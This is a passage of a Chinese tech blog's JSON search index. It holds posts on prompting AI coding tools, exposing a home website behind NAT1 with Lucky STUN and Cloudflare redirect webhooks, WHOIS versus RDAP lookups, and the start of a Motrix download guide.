style=\"color:#f92672\"\u003e\u0026#34;bounces\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003e\u0026#34;totaltime\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003epageviews\u003c/code\u003e 即浏览量。 \u003ccode\u003evisitors\u003c/code\u003e 即访问人数。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eTips：浏览量记录为任意用户只要访问了则计数一次。而访问数记录不会记录单IP多次重复访问和同一时间段的多次请求不同页面\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eEnjoy it！\u003c/p\u003e","title":"静态博客也想展示文章浏览量？当然可以！"},{"content":" 视频链接： https://www.bilibili.com/video/BV1jw38z9EEn/\n正确的引导方法 先搞清楚你自己具体的需求。比如代码用什么语言编写？用什么技术栈？要具体实现什么功能？应用的场景是什么？是前端、后端还是全栈等等\n逻辑清晰，简洁干练地表述你的需求。\n比如： 编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)\n如果不确定AI是否理解了你的需求，可以CallBack一下，避免AI假装理解了你的需求然后一通乱写，比如上面的表述可以改为：\n编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)。你明白了吗，请告诉我你将要如何完成这个任务，在我批准前请不要编写代码\n有时候表达模糊实际上是好事。\n因为你一旦开始描述创建一个什么什么变量，赋值为多少多少的时候，实际上你不是在用AI写代码，而是让AI将你的自然语言代码转换为编程语言代码，这就不是一个创造式的需求，而是一个翻译类的需求，最终代码生成质量的好坏完全取决于你的技术知识储备和逻辑思维是否强大。\n所以，在面对大部分的需求，我们可以先大致描述一个框架，确认AI的方向正确后慢慢编写项目\nAI也会犯错，并且极其容易瞎猜。不要尽信AI给出的内容，在涉及到你不懂的知识时，我们可以翻阅维基百科等权威知识网来验证\n不要让AI一直自我检查。现代的AI IDE中，大部分已经实现了Agent模式，也就是： 用户提出需求 -\u0026gt; AI分析并实现需求 -\u0026gt; AI自动Debug -\u0026gt; 最终交付用户项目。\n但是在我半年的AI IDE使用经验中，如果代码出现Bug，请不要说类似： 这个代码跑不了，帮我看看 这样的话，我仍然建议你将完整的报错信息复制粘贴给AI并且要求他分析并解决，例如：\n[报错信息]它报错了，请根据报错信息深度分析一下问题导致的原因，并给我一个解决方案，而不是让AI自身Debug。\n因为有时候程序的报错可能只是一个简单的环境变量没配置，或者是你没有使用一个主流的方案，单纯让AI自我检讨只会让AI选择它最认为出错的地方。\n换位思考一下，你有个甲方一直告诉你这个方案不行但是就不告诉你哪里不行你头不头疼。但是AI毕竟不是人类，它只会在它认为正确的道路上越走越远，运气好迭代几次Bug解决了，运气不好到达了IDE设置的迭代次数限制然后给你又新写了一坨新史山，然后你花钱买的请求数也就这样浪费了\n最后，请善用AI，你也可以询问AI： 你的最佳调用方式是什么。当然，她也有可能欺骗你。\nAI推荐 ChatGPT：快速，不限额。适合解决你的疑问 Claude：相比于GPT更强大，更擅长编写代码，尤其是前端，目前大部分AI IDE都接入了Claude 3.5 Sonnet及以上的模型，非常适合编写可拆解，易维护的小脚本\nVS Code（Github Copilot）：AI IDE。由微软开发，免费用户可以使用Claude 3.5 Sonnet模型，但是份额较少。Pro计划10USD/m，仅支持Paypal和海外卡支付\nCursor：AI IDE。由Anysphere开发，免费用户仅能使用Auto模型（一般不会分配到Claude模型）。Pro计划10USD/m，仅支持Paypal和海外卡支付\nTrae（国际版）：AI IDE。由字节跳动开发，需要国外IP。新用户Pro计划开通首月仅需3USD/m（之后为10USD/m），支持支付宝和海外卡支付。本人目前在用\n写任何项目都完全不推荐使用网页版的任何大模型编写！请使用AI IDE！\n","permalink":"https://blog.2x.nz/posts/aicode-prompt/","summary":"\u003cblockquote\u003e\n\u003cp\u003e视频链接： \u003ca href=\"https://www.bilibili.com/video/BV1jw38z9EEn/\"\u003ehttps://www.bilibili.com/video/BV1jw38z9EEn/\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"正确的引导方法\"\u003e正确的引导方法\u003c/h1\u003e\n\u003cp\u003e先搞清楚你自己具体的需求。比如代码用什么语言编写？用什么技术栈？要具体实现什么功能？应用的场景是什么？是前端、后端还是全栈等等\u003c/p\u003e\n\u003cp\u003e逻辑清晰，简洁干练地表述你的需求。\u003c/p\u003e\n\u003cp\u003e比如： \u003ccode\u003e编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e如果不确定AI是否理解了你的需求，可以CallBack一下，避免AI假装理解了你的需求然后一通乱写，比如上面的表述可以改为：\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e编写一个Python脚本，在代码中硬编码S3_Endpoint、S3_Area、S3_key、S3_Secret、S3_Url（暂时全部留空）。运行后监听Ctrl+Alt+A，一旦被按下，立即检查剪贴板内是否有图片（支持文件格式和纯图格式），将其转换为Webp格式并上传到S3 API的S3_Url路径下，最后模拟键入![](图片链接)。你明白了吗，请告诉我你将要如何完成这个任务，在我批准前请不要编写代码\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e有时候表达模糊实际上是好事。\u003c/p\u003e\n\u003cp\u003e因为你一旦开始描述创建一个什么什么变量，赋值为多少多少的时候，实际上你不是在用AI写代码，而是让AI将你的自然语言代码转换为编程语言代码，这就不是一个创造式的需求，而是一个翻译类的需求，最终代码生成质量的好坏完全取决于你的技术知识储备和逻辑思维是否强大。\u003c/p\u003e\n\u003cp\u003e所以，在面对大部分的需求，我们可以先大致描述一个框架，确认AI的方向正确后慢慢编写项目\u003c/p\u003e\n\u003cp\u003eAI也会犯错，并且极其容易瞎猜。不要尽信AI给出的内容，在涉及到你不懂的知识时，我们可以翻阅\u003ca href=\"https://wikipedia.org\"\u003e维基百科\u003c/a\u003e等权威知识网来验证\u003c/p\u003e\n\u003cp\u003e不要让AI一直自我检查。现代的AI IDE中，大部分已经实现了Agent模式，也就是： \u003ccode\u003e用户提出需求 -\u0026gt; AI分析并实现需求 -\u0026gt; AI自动Debug -\u0026gt; 最终交付用户项目\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e但是在我半年的AI IDE使用经验中，如果代码出现Bug，请不要说类似： \u003ccode\u003e这个代码跑不了，帮我看看\u003c/code\u003e 这样的话，我仍然建议你将完整的报错信息复制粘贴给AI并且要求他分析并解决，例如：\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e[报错信息]它报错了，请根据报错信息深度分析一下问题导致的原因，并给我一个解决方案\u003c/code\u003e，而不是让AI自身Debug。\u003c/p\u003e\n\u003cp\u003e因为有时候程序的报错可能只是一个简单的环境变量没配置，或者是你没有使用一个主流的方案，单纯让AI自我检讨只会让AI选择它最认为出错的地方。\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e换位思考一下，你有个甲方一直告诉你这个方案不行但是就不告诉你哪里不行你头不头疼。但是AI毕竟不是人类，它只会在它认为正确的道路上越走越远，运气好迭代几次Bug解决了，运气不好到达了IDE设置的迭代次数限制然后给你又新写了一坨新史山，然后你花钱买的请求数也就这样浪费了\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e最后，请善用AI，你也可以询问AI： \u003ccode\u003e你的最佳调用方式是什么\u003c/code\u003e。\u003cdel\u003e当然，她也有可能欺骗你\u003c/del\u003e。\u003c/p\u003e\n\u003ch1 id=\"ai推荐\"\u003eAI推荐\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://chatgpt.com\"\u003eChatGPT\u003c/a\u003e：快速，不限额。适合解决你的疑问\n\u003cimg loading=\"lazy\" src=\"/posts/aicode-prompt/img/c2e37057-78c9-403f-b3af-e84bdad98f1e.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://claude.ai\"\u003eClaude\u003c/a\u003e：相比于GPT更强大，更擅长编写代码，尤其是前端，目前大部分AI IDE都接入了Claude 3.5 Sonnet及以上的模型，非常适合编写可拆解，易维护的小脚本\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/aicode-prompt/img/f9adcc5e-64bc-48f0-8845-893242abec33.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://code.visualstudio.com/\"\u003eVS Code（Github Copilot）\u003c/a\u003e：AI IDE。由微软开发，免费用户可以使用Claude 3.5 Sonnet模型，但是份额较少。Pro计划10USD/m，仅支持Paypal和海外卡支付\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/aicode-prompt/img/70b6f916-ba70-45a6-b572-3b32214f0c1f.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.cursor.com\"\u003eCursor\u003c/a\u003e：AI IDE。由Anysphere开发，免费用户仅能使用Auto模型（一般不会分配到Claude模型）。Pro计划10USD/m，仅支持Paypal和海外卡支付\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/aicode-prompt/img/4287002f-eb0e-43b0-87b7-1fa43c37a497.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.trae.ai\"\u003eTrae（国际版）\u003c/a\u003e：AI IDE。由字节跳动开发，需要国外IP。新用户Pro计划开通首月仅需3USD/m（之后为10USD/m），支持支付宝和海外卡支付。本人目前在用\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/aicode-prompt/img/40b76f69-2c50-49d0-b861-05f8879accab.webp\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e写任何项目都完全不推荐使用网页版的任何大模型编写！请使用AI IDE！\u003c/p\u003e\u003c/blockquote\u003e","title":"AI写不出优质的代码？其实是你引导错了！"},{"content":"配套视频 原理 正式开始 创建必要的Cloudflare API令牌 创建拥有如下图权限的令牌，使得Lucky可以使用此令牌设置DDNS、签发SSL、更新Cloudflare动态重定向\n创建基底Cloudflare动态重定向规则 如图填写，替换为你的域名 表达式： wildcard_replace(http.request.full_uri, \u0026quot;*://*.072103.xyz/*\u0026quot;, \u0026quot;https://${2}.stun.072103.xyz:6666/${3}\u0026quot;)\n观察网址，记录下如下图的数据\n打开开发者工具后，再保存，确保抓到这样的包，保存备用 将 dash.cloudflare.com/api 改为 api.cloudflare.com/client 。将刚才获得的红框内的内容填写到 rules 后面\n如果你不是第一次更新，可能会带有一个 \u0026quot;position\u0026quot;:{\u0026quot;index\u0026quot;:1}, 删除它，否则后面的WebHook将会出错。\n将我们硬编码的 6666 端口改为Lucky STUN的变量 #{port}\n最终我们记录了以下信息\nhttps://api.cloudflare.com/client/v4/zones/f305febd3a25b5bb3a46b802328a75a8/rulesets/35218f125f7f4421b4c76314464689a2/rules/17228a4add70429c9cdd38eb7fec1d02 {\u0026#34;description\u0026#34;:\u0026#34;stun\u0026#34;,\u0026#34;expression\u0026#34;:\u0026#34;(http.host wildcard \\\u0026#34;*.072103.xyz\\\u0026#34; and not http.host in {\\\u0026#34;pic.072103.xyz\\\u0026#34; \\\u0026#34;hpic.072103.xyz\\\u0026#34;})\u0026#34;,\u0026#34;action\u0026#34;:\u0026#34;redirect\u0026#34;,\u0026#34;action_parameters\u0026#34;:{\u0026#34;from_value\u0026#34;:{\u0026#34;status_code\u0026#34;:301,\u0026#34;preserve_query_string\u0026#34;:true,\u0026#34;target_url\u0026#34;:{\u0026#34;expression\u0026#34;:\u0026#34;wildcard_replace(http.request.full_uri, \\\u0026#34;*://*.072103.xyz/*\\\u0026#34;, \\\u0026#34;https://${2}.stun.072103.xyz:#{port}/${3}\\\u0026#34;)\u0026#34;}}},\u0026#34;enabled\u0026#34;:true} 让Cloudflare接管 *.072103.xyz 的流量 配置Lucky DDNS 配置Lucky SSL/TLS证书 配置Lucky Web服务 配置Lucky STUN 注：我这里使用了路由器的端口转发，将Lucky的16666（Web服务）端口转发到了路由器的17777端口。如果你不会端口转发，请不要启用 不使用Lucky内置端口转发 并且目标端口填写16666\n配置WebHook 如图配置\n接口地址：你之前记录的 https://api.cloudflare.com/...\n请求方法： PATCH 或者 POST\n请求头：\nAuthorization: Bearer 你的API令牌 Content-Type: application/json 请求体：你之前记录的 {\u0026quot;description\u0026quot;:...\nEnd. ","permalink":"https://blog.2x.nz/posts/nat1-web/","summary":"\u003ch1 id=\"配套视频\"\u003e配套视频\u003c/h1\u003e\n\u003ciframe src=\"//player.bilibili.com/player.html?isOutside=true\u0026aid=114597528936170\u0026bvid=BV1hY7szUEbu\u0026cid=30235755189\u0026p=1\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e\u003c/iframe\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/7c517b72-8287-4707-8dff-12690a71d592.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"正式开始\"\u003e正式开始\u003c/h1\u003e\n\u003ch3 id=\"创建必要的cloudflare-api令牌\"\u003e创建必要的Cloudflare API令牌\u003c/h3\u003e\n\u003cp\u003e创建拥有如下图权限的令牌，使得Lucky可以使用此令牌设置DDNS、签发SSL、更新Cloudflare动态重定向\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/890468f0-7e7f-42b9-ba57-f98e3b964626.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"创建基底cloudflare动态重定向规则\"\u003e创建基底Cloudflare动态重定向规则\u003c/h3\u003e\n\u003cp\u003e如图填写，替换为你的域名\n\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/9c4a1cb0-d1c6-4e9b-b2bb-dfd6b6fe6306.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e表达式： \u003ccode\u003ewildcard_replace(http.request.full_uri, \u0026quot;*://*.072103.xyz/*\u0026quot;, \u0026quot;https://${2}.stun.072103.xyz:6666/${3}\u0026quot;)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e观察网址，记录下如下图的数据\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/bdd05652-4676-418f-b8aa-1dfc5b3dfab1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e打开开发者工具后，再保存，确保抓到这样的包，保存备用\n\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/60e191a3-c4d8-40a2-b9b7-13af0fae38ab.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e将 \u003ccode\u003edash.cloudflare.com/api\u003c/code\u003e 改为 \u003ccode\u003eapi.cloudflare.com/client\u003c/code\u003e 。将刚才获得的红框内的内容填写到 \u003ccode\u003erules\u003c/code\u003e 后面\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/b1a7a07c-7b4b-49ff-a152-938e30d93ee6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你不是第一次更新，可能会带有一个 \u003ccode\u003e\u0026quot;position\u0026quot;:{\u0026quot;index\u0026quot;:1},\u003c/code\u003e 删除它，否则后面的WebHook将会出错。\u003c/p\u003e\n\u003cp\u003e将我们硬编码的 \u003ccode\u003e6666\u003c/code\u003e 端口改为Lucky STUN的变量 \u003ccode\u003e#{port}\u003c/code\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e最终我们记录了以下信息\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ehttps://api.cloudflare.com/client/v4/zones/f305febd3a25b5bb3a46b802328a75a8/rulesets/35218f125f7f4421b4c76314464689a2/rules/17228a4add70429c9cdd38eb7fec1d02\n\n{\u0026#34;description\u0026#34;:\u0026#34;stun\u0026#34;,\u0026#34;expression\u0026#34;:\u0026#34;(http.host wildcard \\\u0026#34;*.072103.xyz\\\u0026#34; and not http.host in {\\\u0026#34;pic.072103.xyz\\\u0026#34; \\\u0026#34;hpic.072103.xyz\\\u0026#34;})\u0026#34;,\u0026#34;action\u0026#34;:\u0026#34;redirect\u0026#34;,\u0026#34;action_parameters\u0026#34;:{\u0026#34;from_value\u0026#34;:{\u0026#34;status_code\u0026#34;:301,\u0026#34;preserve_query_string\u0026#34;:true,\u0026#34;target_url\u0026#34;:{\u0026#34;expression\u0026#34;:\u0026#34;wildcard_replace(http.request.full_uri, \\\u0026#34;*://*.072103.xyz/*\\\u0026#34;, \\\u0026#34;https://${2}.stun.072103.xyz:#{port}/${3}\\\u0026#34;)\u0026#34;}}},\u0026#34;enabled\u0026#34;:true}\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"让cloudflare接管-072103xyz-的流量\"\u003e让Cloudflare接管 *.072103.xyz 的流量\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/72dd5daa-a10f-4fa1-816f-8be18abc2587.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"配置lucky-ddns\"\u003e配置Lucky DDNS\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/bf6eafd3-3f7b-4a71-8c4f-c0bd34703eee.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"配置lucky-ssltls证书\"\u003e配置Lucky SSL/TLS证书\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/80fc1bda-334d-4444-b063-2d3202de8296.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"配置lucky-web服务\"\u003e配置Lucky Web服务\u003c/h3\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/8f64210e-2bb3-4014-96e7-3af577a722f0.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"配置lucky-stun\"\u003e配置Lucky STUN\u003c/h3\u003e\n\u003cp\u003e注：我这里使用了路由器的端口转发，将Lucky的16666（Web服务）端口转发到了路由器的17777端口。如果你不会端口转发，请\u003cstrong\u003e不要启用\u003c/strong\u003e \u003ccode\u003e不使用Lucky内置端口转发\u003c/code\u003e 并且\u003cstrong\u003e目标端口\u003c/strong\u003e填写16666\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/88f5e404-271b-4d20-98c7-b7f39a9247b2.webp\"\u003e\u003c/p\u003e\n\u003ch3 id=\"配置webhook\"\u003e配置WebHook\u003c/h3\u003e\n\u003cp\u003e如图配置\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/nat1-web/img/559bce4c-ed44-4523-a623-7058ef1082dc.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接口地址：你之前记录的 \u003ccode\u003ehttps://api.cloudflare.com/...\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e请求方法： \u003ccode\u003ePATCH\u003c/code\u003e 或者 \u003ccode\u003ePOST\u003c/code\u003e\u003c/p\u003e","title":"NAT1开放内网网站"},{"content":"前言 Whois查询是什么？ 如果了解域名，就知道域名一旦被注册就会在Whois服务器留下一些相关信息（比如：注册方，注册地，注册时间等等），可以被公开查询。\n如何快速查询一个域名的Whois？ 你是否用过某些Whois查询网站？如图为IP.SB的WHOIS查询服务，可以通过 WHOIS - IP.SB 快速查询一个域名的Whois\n正片 那么如果我们想自建一个Whois查询服务放到我们的Bot或者网页上，我们要怎么做呢？\n你也许已经知道在Linux系统上专门有一个包就叫做 whois 我们可以方便用它来查询Whois。我们现在就可以试试\n可以看到，成功查询到了 baidu.com 的Whois信息。但是实际上这个命令的输出有这么长\n但是实际上，只有红色框内的信息对我们有效，其他的信息则是一些公告，警示，许可之类的无用信息\n这对于偶尔查询一次然后用人眼筛选有效信息的现代人类不难，但是对现代计算机来说非常难\n因为在传统的Whois查询中，Whois服务器返回的信息没有任何规范，它想给你什么就能给你什么，如下图\n这是我的域名的Whois查询结果，可以看到，完全没有规范可言 更有甚者不仅改格式，甚至还改术语，比如Status写一个Connect\n这就使得我们做三方API的时候想要针对性的汉化或者过滤就非常困难。如果你想要做到绝对的规范，需要针对每一个顶级域的Whois服务器做调查，然后针对性的配置过滤器，这样才能输出一个完整的，规范的Whois查询结果\n前文我提到了传统的Whois查询，那么有没有一个API能直接提供一个规范了格式的查询结果，并且每个域名都遵循这个规范呢？\n有的，兄弟有的，这就是RDAP（Registration Data Access Protocol），注册数据访问协议。使用了RDAP的域名查询Whois将会返回一个标准的JSON格式的输出，并且查询是通过标准的RESTAPI，也就是Web协议，如下图\n乍一看好多无用信息啊，但是你先别急，既然它返回的是JSON，而且所有域名都是一个规范，那么我们完全可以方便快捷的过滤\n就像这样，只需要写一遍过滤规则，以后所有支持RDAP查询Whois的顶级域都可以通过这个规则快捷展示信息！\n但是话又说回来，RDAP毕竟是一个新式协议，很多顶级域仍然不支持，比如 .im\n.im Domain Delegation Data\n可以看到 .im 仅支持传统Whois查询\n那么我们的三方API就要既支持传统Whois，又支持新式RDAP\n正式开始构建三方Whois查询API 由于传统Whois查询是通过TCP请求43端口获取信息，需要专用客户端来查询，所以针对于只支持传统Whois查询的顶级域就需要我们的服务器先查询到信息，再返回用户纯文本。如下图\n而对于已经支持RDAP查询的顶级域，直接返回Web URL，让用户自行阅览，如下图\n另外，针对于仅支持RDAP查询的顶级域，我们需要先通过IANA查询该顶级域的RDAP服务器（实际上传统Whois也需要，但是Linux的Whois包硬编码的Whois查询服务器目前够用 :）\n比如我要查询 freebird.day ，就需要先前往.day Domain Delegation Data查找\n接下来通过给定的RDAP服务器查询即可\n因为RDAP协议较新，且易读，所以针对于传统Whois和RDAP查询都支持的顶级域优先RDAP查询\n","permalink":"https://blog.2x.nz/posts/whois/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003ch3 id=\"whois查询是什么\"\u003eWhois查询是什么？\u003c/h3\u003e\n\u003cp\u003e如果了解域名，就知道域名一旦被注册就会在Whois服务器留下一些相关信息（比如：注册方，注册地，注册时间等等），可以被公开查询。\u003c/p\u003e\n\u003ch3 id=\"如何快速查询一个域名的whois\"\u003e如何快速查询一个域名的Whois？\u003c/h3\u003e\n\u003cp\u003e你是否用过某些Whois查询网站？如图为IP.SB的WHOIS查询服务，可以通过 \u003ca href=\"https://ip.sb/whois\"\u003eWHOIS - IP.SB\u003c/a\u003e 快速查询一个域名的Whois\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/578a2c58-5ad4-452a-be8b-a186a64fa058.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"正片\"\u003e正片\u003c/h1\u003e\n\u003cp\u003e那么如果我们想自建一个Whois查询服务放到我们的Bot或者网页上，我们要怎么做呢？\u003c/p\u003e\n\u003cp\u003e你也许已经知道在Linux系统上专门有一个包就叫做 \u003ccode\u003ewhois\u003c/code\u003e 我们可以方便用它来查询Whois。我们现在就可以试试\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/d198a5cf-37e0-410e-9f9b-df736725eb7b.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e可以看到，成功查询到了 \u003ccode\u003ebaidu.com\u003c/code\u003e 的Whois信息。但是实际上这个命令的输出有这么长\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/3efb10bd-042a-4a22-82c9-e947d591e10d.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e但是实际上，只有红色框内的信息对我们有效，其他的信息则是一些公告，警示，许可之类的无用信息\u003c/p\u003e\n\u003cp\u003e这对于偶尔查询一次然后用人眼筛选有效信息的现代人类不难，但是对现代计算机来说非常难\u003c/p\u003e\n\u003cp\u003e因为在\u003cstrong\u003e传统的Whois查询\u003c/strong\u003e中，Whois服务器返回的信息没有任何规范，它想给你什么就能给你什么，如下图\u003c/p\u003e\n\u003cp\u003e这是我的域名的Whois查询结果，可以看到，完全没有规范可言\n\u003cimg loading=\"lazy\" src=\"/posts/whois/img/981f3e74-4e18-47e9-8e05-05ffca461e3c.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e更有甚者不仅改格式，甚至还改术语，比如Status写一个Connect\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/29f6f17b-a885-406d-ad70-45e3aacc95d9.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e这就使得我们做三方API的时候想要针对性的汉化或者过滤就非常困难。如果你想要做到绝对的规范，需要针对每一个顶级域的Whois服务器做调查，然后针对性的配置过滤器，这样才能输出一个完整的，规范的Whois查询结果\u003c/p\u003e\n\u003cp\u003e前文我提到了\u003cstrong\u003e传统的Whois查询\u003c/strong\u003e，那么有没有一个API能直接提供一个规范了格式的查询结果，并且每个域名都遵循这个规范呢？\u003c/p\u003e\n\u003cp\u003e有的，兄弟有的，这就是RDAP（Registration Data Access Protocol），注册数据访问协议。使用了RDAP的域名查询Whois将会返回一个标准的JSON格式的输出，并且查询是通过标准的RESTAPI，也就是Web协议，如下图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/7d92115f-f897-427a-b0a6-46d386019443.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e乍一看好多无用信息啊，但是你先别急，既然它返回的是JSON，而且所有域名都是一个规范，那么我们完全可以方便快捷的过滤\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/96760408-d94e-4ddb-854f-8e817a01fd8d.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e就像这样，只需要写一遍过滤规则，以后所有\u003cstrong\u003e支持RDAP查询Whois的顶级域\u003c/strong\u003e都可以通过这个规则快捷展示信息！\u003c/p\u003e\n\u003cp\u003e但是话又说回来，RDAP毕竟是一个新式协议，很多顶级域仍然不支持，比如 \u003ccode\u003e.im\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.iana.org/domains/root/db/im.html\"\u003e.im Domain Delegation Data\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/efa46528-43b5-45fb-88e6-5401dfade480.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e可以看到 \u003ccode\u003e.im\u003c/code\u003e 仅支持传统Whois查询\u003c/p\u003e\n\u003cp\u003e那么我们的三方API就要既支持传统Whois，又支持新式RDAP\u003c/p\u003e\n\u003ch1 id=\"正式开始构建三方whois查询api\"\u003e正式开始构建三方Whois查询API\u003c/h1\u003e\n\u003cp\u003e由于传统Whois查询是通过TCP请求43端口获取信息，需要专用客户端来查询，所以针对于\u003cstrong\u003e只支持传统Whois查询的顶级域\u003c/strong\u003e就需要我们的服务器先查询到信息，再返回用户纯文本。如下图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/16ab7a68-892e-429e-a0bc-02d829eead82.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e而对于\u003cstrong\u003e已经支持RDAP查询的顶级域\u003c/strong\u003e，直接返回Web URL，让用户自行阅览，如下图\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/whois/img/9b4916ef-d096-4954-a87c-abfc88c77d00.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e另外，针对于\u003cstrong\u003e仅支持RDAP查询的顶级域\u003c/strong\u003e，我们需要先通过IANA查询该顶级域的RDAP服务器（实际上传统Whois也需要，但是Linux的Whois包硬编码的Whois查询服务器目前够用 :）\u003c/p\u003e\n\u003cp\u003e比如我要查询 \u003ccode\u003efreebird.day\u003c/code\u003e ，就需要先前往\u003ca href=\"https://www.iana.org/domains/root/db/day.html\"\u003e.day Domain Delegation Data\u003c/a\u003e查找\u003cimg loading=\"lazy\" src=\"/posts/whois/img/7c7cb4ed-6b1a-4541-b176-ecc5783a3853.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e接下来通过给定的RDAP服务器查询即可\u003cimg loading=\"lazy\" src=\"/posts/whois/img/3d8df636-39e5-48f7-a6c7-9490f373497e.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e因为RDAP协议较新，且易读，所以针对于\u003cstrong\u003e传统Whois和RDAP查询都支持的顶级域\u003c/strong\u003e优先RDAP查询\u003c/p\u003e","title":"关于Whois查询那点事"},{"content":"原理 通过浏览器插件拦截下载请求，再将原始请求转发给 Motrix，就可以实现由 Motrix 接管下载。\n下载 Motrix 前往官网：https://motrix.app/ 下载 